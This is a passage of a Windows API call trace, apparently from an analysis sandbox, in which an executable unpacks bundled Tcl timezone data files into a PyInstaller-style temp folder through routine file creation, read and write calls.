GetLastError () returned 0x2 [0043.123] SetLastError (dwErrCode=0x2) [0043.123] GetLastError () returned 0x2 [0043.123] SetLastError (dwErrCode=0x2) [0043.123] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Fiji") returned 69 [0043.123] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.123] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Fiji" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\fiji"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.124] GetFileType (hFile=0x10c) returned 0x1 [0043.124] htonl (hostlong=0xde150000) returned 0x15de [0043.124] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0043.125] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.125] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x5de, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x5de, lpOverlapped=0x0) returned 1 [0043.125] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.125] CloseHandle (hObject=0x10c) returned 1 [0043.125] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.125] htonl (hostlong=0x30000000) returned 0x30 [0043.126] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.126] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.126] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.126] GetFileType (hFile=0x10c) returned 0x1 [0043.126] htonl (hostlong=0xb5135d00) returned 0x5d13b5 [0043.126] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61c3b5, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.126] htonl (hostlong=0x8d000000) returned 0x8d [0043.126] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8d) returned 0x55cfe0 [0043.126] htonl (hostlong=0x8d000000) returned 0x8d [0043.126] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.126] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.126] htonl (hostlong=0x94000000) returned 0x94 [0043.126] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x94) returned 0x550600 [0043.126] htonl (hostlong=0x8d000000) returned 0x8d [0043.126] htonl (hostlong=0x94000000) returned 0x94 [0043.126] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.126] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.126] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.126] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.126] CloseHandle (hObject=0x10c) returned 1 [0043.126] GetLastError () returned 0x0 [0043.126] SetLastError (dwErrCode=0x0) [0043.126] GetLastError () returned 0x0 [0043.126] SetLastError (dwErrCode=0x0) [0043.126] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.126] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.127] GetFileType (hFile=0x10c) returned 0x1 [0043.127] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.127] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.127] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.127] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.127] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.127] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.127] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.127] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.127] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.127] CloseHandle (hObject=0x10c) returned 1 [0043.127] GetLastError () returned 0x0 [0043.127] SetLastError (dwErrCode=0x0) [0043.127] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.127] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.127] GetFileType (hFile=0x10c) returned 0x1 [0043.127] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.127] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.127] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.127] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.127] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.127] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.127] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.127] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.127] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.128] CloseHandle (hObject=0x10c) returned 1 [0043.128] GetLastError () returned 0x0 [0043.128] SetLastError (dwErrCode=0x0) [0043.128] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.128] GetFileType (hFile=0x10c) returned 0x1 [0043.128] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.128] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.128] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.128] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.128] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.128] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.128] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.128] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.128] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.128] CloseHandle (hObject=0x10c) returned 1 [0043.128] GetLastError () returned 0x0 [0043.128] SetLastError (dwErrCode=0x0) [0043.128] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Funafuti") returned 73 [0043.128] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Funafuti" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\funafuti"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.128] GetLastError () returned 0x2 [0043.128] SetLastError (dwErrCode=0x2) [0043.128] GetLastError () returned 0x2 [0043.128] SetLastError (dwErrCode=0x2) [0043.128] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Funafuti", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Funafuti", lpFilePart=0x0) returned 0x48 [0043.128] GetLastError () returned 0x2 [0043.129] SetLastError (dwErrCode=0x2) [0043.129] GetLastError () returned 0x2 [0043.129] SetLastError (dwErrCode=0x2) [0043.129] GetLastError () returned 0x2 [0043.129] SetLastError (dwErrCode=0x2) [0043.129] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Funafuti") returned 73 [0043.129] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.129] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Funafuti" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\funafuti"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.129] GetFileType (hFile=0x10c) returned 0x1 [0043.129] htonl (hostlong=0x94000000) returned 0x94 [0043.129] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.129] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x94, lpOverlapped=0x0) returned 1 [0043.130] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.130] CloseHandle (hObject=0x10c) returned 1 [0043.130] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0043.130] htonl (hostlong=0x30000000) returned 0x30 [0043.130] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0043.130] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0043.130] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.130] GetFileType (hFile=0x10c) returned 0x1 [0043.130] htonl (hostlong=0x42145d00) returned 0x5d1442 [0043.130] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x61c442, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0043.130] htonl (hostlong=0x9e000000) returned 0x9e [0043.130] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x9e) returned 0x55cfe0 [0043.131] htonl (hostlong=0x9e000000) returned 0x9e [0043.131] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0043.131] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0043.131] htonl (hostlong=0xb5000000) returned 0xb5 [0043.131] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb5) returned 0x550600 [0043.131] htonl (hostlong=0x9e000000) returned 0x9e [0043.131] htonl (hostlong=0xb5000000) returned 0xb5 [0043.131] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0043.131] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0043.131] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0043.131] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0043.131] CloseHandle (hObject=0x10c) returned 1 [0043.131] GetLastError () returned 0x0 [0043.131] SetLastError (dwErrCode=0x0) [0043.131] GetLastError () returned 0x0 [0043.131] SetLastError (dwErrCode=0x0) [0043.131] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0043.131] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.131] GetFileType (hFile=0x10c) returned 0x1 [0043.131] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.131] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.131] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.131] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.131] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.131] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.131] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.131] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.132] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.132] CloseHandle (hObject=0x10c) returned 1 [0043.132] GetLastError () returned 0x0 [0043.132] SetLastError (dwErrCode=0x0) [0043.132] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0043.132] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.132] GetFileType (hFile=0x10c) returned 0x1 [0043.132] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.132] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.132] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.132] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.132] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.132] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.132] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.132] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.132] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.132] CloseHandle (hObject=0x10c) returned 1 [0043.132] GetLastError () returned 0x0 [0043.132] SetLastError (dwErrCode=0x0) [0043.132] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific") returned 64 [0043.132] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0043.132] GetFileType (hFile=0x10c) returned 0x1 [0043.132] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0043.132] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0043.132] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0043.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0043.133] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.133] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0043.133] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0043.133] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0043.133] CloseHandle (hObject=0x10c) returned 1 [0043.133] GetLastError () returned 0x0 [0043.133] SetLastError (dwErrCode=0x0) [0043.133] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Galapagos") returned 74 [0043.133] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Galapagos" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\galapagos"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0043.133] GetLastError () returned 0x2 [0043.133] SetLastError (dwErrCode=0x2) [0043.133] GetLastError () returned 0x2 [0043.133] SetLastError (dwErrCode=0x2) [0043.133] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Galapagos", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Galapagos", lpFilePart=0x0) returned 0x49 [0043.133] GetLastError () returned 0x2 [0043.133] SetLastError (dwErrCode=0x2) [0043.133] GetLastError () returned 0x2 [0043.133] SetLastError (dwErrCode=0x2) [0043.133] GetLastError () returned 0x2 [0043.133] SetLastError (dwErrCode=0x2) [0043.133] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Galapagos") returned 74 [0043.133] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0043.133] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Pacific\\Galapagos" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\pacific\\galapagos"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0043.134] GetFileType (hFile=0x10c) returned 0x1 